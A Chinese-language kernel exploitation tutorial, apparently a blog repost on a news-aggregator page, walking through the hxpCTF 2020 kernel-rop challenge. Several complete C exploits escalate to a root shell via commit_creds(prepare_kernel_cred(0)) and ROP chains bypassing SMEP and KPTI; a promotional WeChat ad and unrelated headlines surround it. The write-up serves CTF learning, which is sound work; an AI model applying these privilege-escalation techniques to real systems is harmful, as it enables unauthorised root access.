最新要闻
- 当前要闻:柏瑞投资:亚洲高收益债券最具吸引力
- 高考中文题简单!老师称在越南学好中文工资更高:当地人不加班不为钱放弃生活
- 每日速看!199元起 雷柏VT9 PRO无线鼠标上架:68g轻量化设计
- 大梁+四驱!新一代哈弗H5回归:长城史上最大SUV_世界独家
- 全球观速讯丨谨防上当!女子网上找补漏报价800上门变4300:已有多人被骗
- 全球观速讯丨不到半价:八喜自选口味冰淇淋15大杯90g狂促99元
- 漫威系列电影观影顺序_威漫电影观影顺序
- 天天快资讯丨普里戈任再次发声寻求支持:“你们会看到我们在前线取得新的胜利”
- 新能源硬派越野!比亚迪方程豹首款车型定名:叫“豹5”
- 天天快播:男子用共享电动车拦婚车要钱 司机曝内幕:专业闹喜人 不要红包只要100块
- 前有阿维塔 后有深蓝 “亲儿子”启源如何突围?-最新
- 荣耀全家桶来袭:手表、平板、电视全都有 焦点热门
- 环球消息!终于透明了!广州新规:网约车驾驶员端需显示抽成比例
- 每日热闻!昀冢科技:7月3日融资买入200.78万元,融资融券余额4987.8万元
- B站内测搜索AI助手:输入“?”即可体验!
- 制氧设备相关内容简介介绍图片_制氧设备相关内容简介介绍
手机
光庭信息跌4.57% 2021上市超募11亿2022扣非降74% 时快讯
搜狐汽车全球快讯 | 大众汽车最新专利曝光:仪表支持拆卸 可用手机、平板替代-环球关注
- 光庭信息跌4.57% 2021上市超募11亿2022扣非降74% 时快讯
- 搜狐汽车全球快讯 | 大众汽车最新专利曝光:仪表支持拆卸 可用手机、平板替代-环球关注
- 视点!美国首位女总统即将诞生?拜登恐怕要提前下岗,美政坛迎来变局?
- 当前速递!用理想仪器实现更好的颗粒 德国新帕泰克亮相CPHI & PMEC China获好评
- 微粒贷怎么申请开通 开通方法如下
- 焦点简讯:心疼!这位40岁的云南缉毒警,已是满头白发
家电
kernel pwn入门
Linux Kernel 介绍
Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。
Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。
(资料图片仅供参考)
Linux Kernel 环境
vmlinuz或bzImage:linux内核的压缩镜像
vmlinux:linux内核的符号表
initramfs.cpio.gz:文件系统,有系统启动的信息
run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护
Linux Kernel gadget获取
通过压缩的linux内核镜像获取符号表
./extract-image.sh ./vmlinuz > vmlinux
extract-image.sh
#!/bin/sh# SPDX-License-Identifier: GPL-2.0-only# ----------------------------------------------------------------------# extract-vmlinux - Extract uncompressed vmlinux from a kernel image## Inspired from extract-ikconfig# (c) 2009,2010 Dick Streefland ## (c) 2011 Corentin Chary ## ----------------------------------------------------------------------check_vmlinux(){ # Use readelf to check if it"s a valid ELF # TODO: find a better to way to check that it"s really vmlinux # and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0}try_decompress(){ # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done}# Check invocation:me=${0##*/}img=$1if [ $# -ne 1 -o ! -s "$img" ]then echo "Usage: $me " >&2 exit 2fi# Prepare temp files:tmp=$(mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp" 0# That didn"t work, so retry after decompression.try_decompress "\037\213\010" xy gunziptry_decompress "\3757zXZ\000" abcde unxztry_decompress "BZh" xy bunzip2try_decompress "\135\0\0\0" xxx unlzmatry_decompress "\211\114\132" xy "lzop -d"try_decompress "\002!L\030" xxx "lz4 -d"try_decompress "(\265/\375" xxx unzstd# Finally check for uncompressed images or objects:check_vmlinux $img# Bail out:echo "$me: Cannot find vmlinux." >&2
ROPgadget获取
不建议用ROPgadget,速度比较慢
ROPgadget --binary ./vmlinux > gadgets.txt
Ropper获取
使用ropper速度会比较快
ropper --file ./vmlinux --nocolor > g
直接获取
./vmlinux > gadgets.txt
然后搜索
cat gadgets.txt | grep "pop"
文件系统
解包
mkdir initramfscd initramfscp ../initramfs.cpio.gz .gunzip ./initramfs.cpio.gzcpio -idm < ./initramfs.cpiorm initramfs.cpio
打包
gcc -o exploit -static $1mv ./exploit ./initramfscd initramfsfind . -print0 \| cpio --null -ov --format=newc \| gzip -9 > initramfs.cpio.gzmv ./initramfs.cpio.gz ../
Linux Kernel的保护措施
Kernel stack cookies【canary】:防止内核栈溢出
Kernel address space layout【KASLR】:内核地址随机化
Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。
开启:在-cpu参数中设置+smep
关闭:nosmep添加到-append
Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。
开启:在-cpu参数中设置+smap
关闭:nosmap添加到-append
Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。
开启:kpti=1
关闭:nopti添加到-append
hxpCTF 2020 kernel-rop
这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
hackme_read
这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息
hackme_write
hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
动态调试
首先在启动脚本run.sh
中加入-s
的参数,使得可以使用gdb对qemu进行调试
其次可以使用lsmod
查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0
否则直接运行不会显示模块的地址,结果如下
将权限修改为0之后,就可以正常显示了
然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000
接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux
,并且也加载到gdb中
最后就可以开启远程调试了,target remote:1234
这里需要注意的是ida
中显示的地址可能不准确,因此可以直接在qemu
中查看,cat /proc/kallsyms | grep hackme
在hackme_write
中打下断点
这里我遇到个问题是在遇到push
指令时不能够使用ni
进行跟踪,而是需要si
,否则会跑飞。
使用ni
进行单步调试,程序会直接运行,无法断下来。
使用si
则可以单步
至此就可以对hackme.ko的模块进行调试了。
未开启保护
首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。
run.sh
在append
使用使用nosmap
、nosemp
、nokaslr
、nopti
关闭smap
、semp
、kaslr
以及kpti
的保护
qemu-system-x86_64 \ -m 128M \ -cpu kvm64\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \ -s
ret2user
由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。
首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可
在hackme_read
中打下断点,查看变量v6
中存储了什么值,由于程序是通过memcpy
进行数据拷贝的,因此直接查看RSI
寄存器对应的数据
可以发现canary
的值就在其中,因此利用hackmeread
这个函数就可以将数据泄露出来
这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。
在泄露canary
后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root
凭证,在切换到用户态下。
prepare_kernel_cred
函数prepare_kernel_cred
函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred
结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。
commit_creds
函数commit_creds
函数接受一个指向cred
结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。
因此调用prepare_kernel_cred(0)
可以获取root
权限的凭证,接着调用commit_creds
函数,就可以将当前进程的特权修改为root
。即指向commit_creds(prepare_kernel_cred(0))
在获取完root
之后则需要调用swags
指令进行GS
寄存器的切换,即将g_base
与k_gs_base
的值进行交换,swapgs
是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。
执行swags
指令之前
执行swags
指令之后
最后则是切换回用户态,iretq
指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret
指令的 64 位版本,用于在 64 位模式下使用。
iretq
指令有以下三个功能:
恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。
恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。
恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。
iretq
还原的值的顺序为RIP|CS|RFLAGS|SP|SS
,那么在iret
指令中按顺序填充RIP
、CS
、RFLASG
、RSP
以及SS
的值即可,因此在执行iretq
之前需要将在用户态下将这些值进行保存。并且RIP
指向的值为system("/bin/sh")
函数的地址即可。
保存寄存器的汇编代码如下
__asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" );
在iretq
指令后跟随的值如下
exp
因此最后构造的exp
如下
#include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags);}void backdoor(){ printf("****getshell****"); system("id"); system("/bin/sh");}unsigned long user_rip = (unsigned long)backdoor;void lpe(){ __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" );}int main(){ unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0;}
绕过SMEP
SMEP
保护是防止内核执行用户空间的代码,而上述的exp
则是将利用过程是将汇编语言写在用户空间中,因此在SMEP
的保护下,上述的利用会失效。下面将介绍绕过SMEP
的几种方法。
run.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \ -s
修改CR4寄存器
前面说过开启SMEP
保护实际是将CR4
寄存器的第20比特位置为1
那么一个简单的想法就是将CR4
寄存器的第20比特位重写为0,关闭SMEP
的保护就可以使用上述的利用手法了。那么写cr4
寄存器的是通过native_write_cr4
函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret
的gadget
。
找到native_write_cr4
函数
exp
#include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4*/unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags);}void backdoor(){ printf("****getshell****"); system("id"); system("/bin/sh");}unsigned long user_rip = (unsigned long)backdoor;void lpe(){ __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" );}int main(){ unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; // pop rdi; ret; payload[index++] = 0x00000000000060; payload[index++] = 0xffffffff814443e0; //native_write_cr4 payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0;}
但是在这个版本下的内核已经无法通过native_write_cr4
函数改写CR4
寄存器了,可以通过dmesg
打印日志信息,可以发现
提示pinned CR4 bits changed: 0x100000!?
的错误,并且CR4
的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4
函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。
可以看到补丁的说明,在启动后CR4
的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。
构造逃逸ROP
由于SMEP
只是杜绝了执行用户态的代码,因此利用ROP
的思路,在内核态完成ROP
链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq
的流程。
那么此时需要什么样的gadget
则是构造逃逸ROP
的重点,由于需要手动传参调用上述的攻击链,因此需要
pop rdi; ret;
mov rdi , rax; ret
,这里需要注意的是,我们需要prepare_kernel_cred(0)
执行的返回值,因此需要将rax
寄存器的值传递给rdi
寄存器swags; ret
iretq
除了mov rdi, rax; ret
以外,其余的gadget
都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret
这样的gadget
,因此需要想办法找到其他的gadget
,这里我找到如下的组合,通过构造rdi
与rsi
的值,使得rdi = rsi
从而导致jne
的跳转无法执行,那么就可以在执行mov rdi, rax
的情况下可以跳过jne
的跳转指令执行到ret
指令。
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret;
因此ROP
逃逸的思路与在用户态的ROP
区别不大,只要找到合适的gadget
即可
exp
#include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}void backdoor(){ puts("***getshell***"); system("/bin/sh");}
int main(){ save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8);}
栈迁移
栈迁移能使用的场景是当我们需要构造的ROP
链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP
指针的gadget
可以使用。这里我找到的gadget
是,通过pop rbp; ret
与mov rsp, rbp
结合,就能够篡改rsp
为任何值。
0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;
那么需要将rsp
篡改为何值,此时就需要结合mmap
函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp
的值指向mmap
开辟的地址,通过栈迁移技术,将栈迁移到mmap
的地址值,我们在将ROP
链填充到mmap
开辟的内存中即可,这里对mmap
函数进行一个介绍。
mmap函数
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr
:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000
(这里是我自己测试的)length
:内存的大小prot
:权限PROT_EXEC,执行权限
PROT_READ,读权限
PROT_WRITE,写权限
PROT_NONE,没有任何权限
flags
:标志位,mmap
函数可以设置的标志位有很多,这里着重介绍一些常用的MAP_SHARED
:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件MAP_PRIVATE
:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件MAP_ANONYMOUS
:匿名映射,是一种不映射文件的映射MAP_FIXED
:固定映射,即映射地址必须是addr
所指定的,若该地址被占用则mmap
返回错误
fd
:需要映射的文件描述符,若是匿名映射则设置为-1offet
:映射的偏移,即选择从哪个位置开始映射
映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS
与MAP_FIXED
的标志位需要被指定,然后是MAP_SHARED
与MAP_PRIVATE
必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。
栈迁移完成
将ROP
链部署在了映射内存中
最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap
开辟的内存是在用户态的,SMEP
则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP
,后面理解发现,我们只是访问了用户空间的地址即0x2000
,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP
时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP
无法阻碍这种利用。而这也正是SMAP
与SMEP
的区别,SMAP
则是无法读写用户态空间,因此若开启了SMAP
,那么该利用手法则无法进行。
绕过KPTI
KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。
简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。
那么有两种方式可以绕过KPTI
捕获
Segmentation fault
的异常,在异常处理中调用system(/bin/sh)
切换页表,将内核空间的页表切换到用户空间中去
run.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \ -s
使用异常处理
使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV
信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh")
signal(SIGSEGV, backdoor);
exp
#include #include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}void backdoor(){ puts("***getshell***"); system("/bin/sh");}
int main(){ save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8);}
使用swapgs_restore_regs_and_return_to_usermode
第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。
那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode
,swapgs_restore_regs_and_return_to_usermode
函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。
在内核中搜索该函数的地址
可以看到在该函数的内部存在修改CR3
的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP
链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16
的位置开始执行。
在该函数后续的执行中,还会执行swapgs
的指令,切换GS
的寄存器,并且做一个绝对跳转到0xffffffff81200fco
在该地址的后续还存在这iretq
的指令,因此该函数具备了所有的条件。
exp
#include #include /*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode*///iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}void backdoor(){ puts("***getshell***"); system("/bin/sh");}
int main(){ save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }
绕过SMAP
SMAP
则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode
函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode
构建的ROP
链。
但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP
保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。
绕过KASLR
KASLR
与用户态下的ASLR
差不多,都是开启了地址的随机化,因此不能使用绝对地址。
run.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \ -s
泄露内核地址
通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。
exp
